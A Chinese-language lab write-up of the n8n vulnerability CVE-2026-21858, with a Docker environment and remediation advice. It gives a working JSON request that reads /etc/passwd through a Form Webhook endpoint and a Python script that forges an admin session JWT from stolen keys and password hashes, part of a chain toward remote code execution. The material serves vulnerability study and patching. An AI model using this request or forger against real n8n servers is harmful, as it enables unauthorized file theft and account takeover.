# n8n Content-Type 混淆任意文件读取至 RCE 漏洞 CVE-2026-21858

## 漏洞描述

[n8n](https://n8n.io/) 是一个开源的工作流自动化平台，允许用户通过可视化节点界面连接各种服务。

CVE-2026-21858（代号 "Ni8mare"）是 n8n 中一个 CVSS 评分 10.0 的严重漏洞，影响版本 1.65.0 至 1.120.x。该漏洞存在于 n8n 处理 Form Webhook 端点 HTTP 请求的方式中。`formWebhook()` 函数在调用 `prepareFormReturnItem()` 和 `copyBinaryFile()` 时，未验证请求的 `Content-Type` 是否为 `multipart/form-data`。攻击者可以发送 JSON 请求代替 multipart 表单，直接控制 `req.body.files` 中的 `filepath` 属性，使 n8n 读取并返回服务器上的任意文件。该未授权的任意文件读取可以与会话 cookie 伪造和表达式注入（CVE-2025-68613）组合利用，实现完整的远程代码执行。

参考链接：

- https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858
- https://github.com/Chocapikk/CVE-2026-21858
- https://github.com/n8n-io/n8n/security/advisories/GHSA-v4pr-fm98-w9pg

## 漏洞影响

```
n8n < 1.121.0
```

## 环境搭建

Vulhub 执行如下命令启动一个 n8n 1.65.0 服务：

```
docker-compose up -d
```

服务启动后（初始化约需 30 秒），访问 `http://your-ip:5678` 即可看到 n8n 界面。环境已预配置管理员账户（`admin@vulhub.org:Vulhub123`）并激活了一个包含文件上传功能的文档提交工作流，表单路径为 `/form/vulnerable-form`。

![](images/n8n%20Content-Type%20混淆任意文件读取至%20RCE%20漏洞%20CVE-2026-21858/image-20260318090126163.png)

## 漏洞复现

该漏洞利用了 n8n Form Webhook 处理器中的 Content-Type 混淆问题。当表单端点期望接收 `multipart/form-data` 文件上传时，服务端在处理 `req.body.files` 时未验证 Content-Type 头。攻击者通过发送 `application/json` 类型的请求，注入一个包含任意 `filepath` 的 `files` 对象，服务端会读取并返回该文件内容。

利用该漏洞需要知道一个活跃的 Form 端点路径。在本环境中，访问 `http://your-ip:5678/form/vulnerable-form` 可以看到一个包含文件上传功能的文档提交表单，确认该端点存在且处于活跃状态。

![](images/n8n%20Content-Type%20混淆任意文件读取至%20RCE%20漏洞%20CVE-2026-21858/image-20260318090407422.png)

接下来向同一端点发送请求，将预期的 `multipart/form-data` 类型替换为 `application/json`，并注入任意文件路径来读取服务器上的 `/etc/passwd` 文件：

```
POST /form/vulnerable-form HTTP/1.1
Host: your-ip:5678
Content-Type: application/json

{"data":{},"files":{"file1":{"filepath":"/etc/passwd","originalFilename":"test.bin","mimetype":"application/octet-stream","size":12345}}}
```

![](images/n8n%20Content-Type%20混淆任意文件读取至%20RCE%20漏洞%20CVE-2026-21858/image-20260318090549360.png)

服务端返回了 `/etc/passwd` 的内容，确认了任意文件读取漏洞。攻击者可利用该原语读取 n8n 数据库 `{home}/.n8n/database.sqlite` 和配置文件 `{home}/.n8n/config`，提取管理员凭据和加密密钥，然后伪造有效的管理员会话 cookie，通过工作流节点中的表达式注入实现远程代码执行。

验证是否伪造成功。未配置 cookie 时，无权限访问 `/rest/users`：

![](images/n8n%20Content-Type%20混淆任意文件读取至%20RCE%20漏洞%20CVE-2026-21858/image-20260318092612823.png)

伪造有效的管理员会话 cookie：

![](images/n8n%20Content-Type%20混淆任意文件读取至%20RCE%20漏洞%20CVE-2026-21858/image-20260318092233990.png)

![](images/n8n%20Content-Type%20混淆任意文件读取至%20RCE%20漏洞%20CVE-2026-21858/image-20260318092658701.png)

完整利用链 CVE-2026-21858 + CVE-2025-68613，任意文件读取 → cookie 伪造 → 沙箱逃逸 → RCE。

## 漏洞 POC

```
import hashlib
from base64 import b64encode
import jwt

def forge(key: str, uid: str, email: str, pw_hash: str):
    secret = hashlib.sha256(key[::2].encode()).hexdigest()
    h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
    admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
    return admin_token

if __name__=="__main__":
    print(forge("e1QtJCTPa/eVv05SSX62Mg+/Gv9YX8O+","c57acaa0-5774-4e4b-a622-673e78147193","admin@vulhub.org","$2a$10$VhJ.qolnKgmxIB4aGL9Uwe76slmmfzzbAmGvC2w81hwTD0GWCU2oK"))
```

## 漏洞修复

- 升级组件 n8n 至 1.121.0 及以上版本
- 利用安全组设置 n8n 仅对可信地址开放
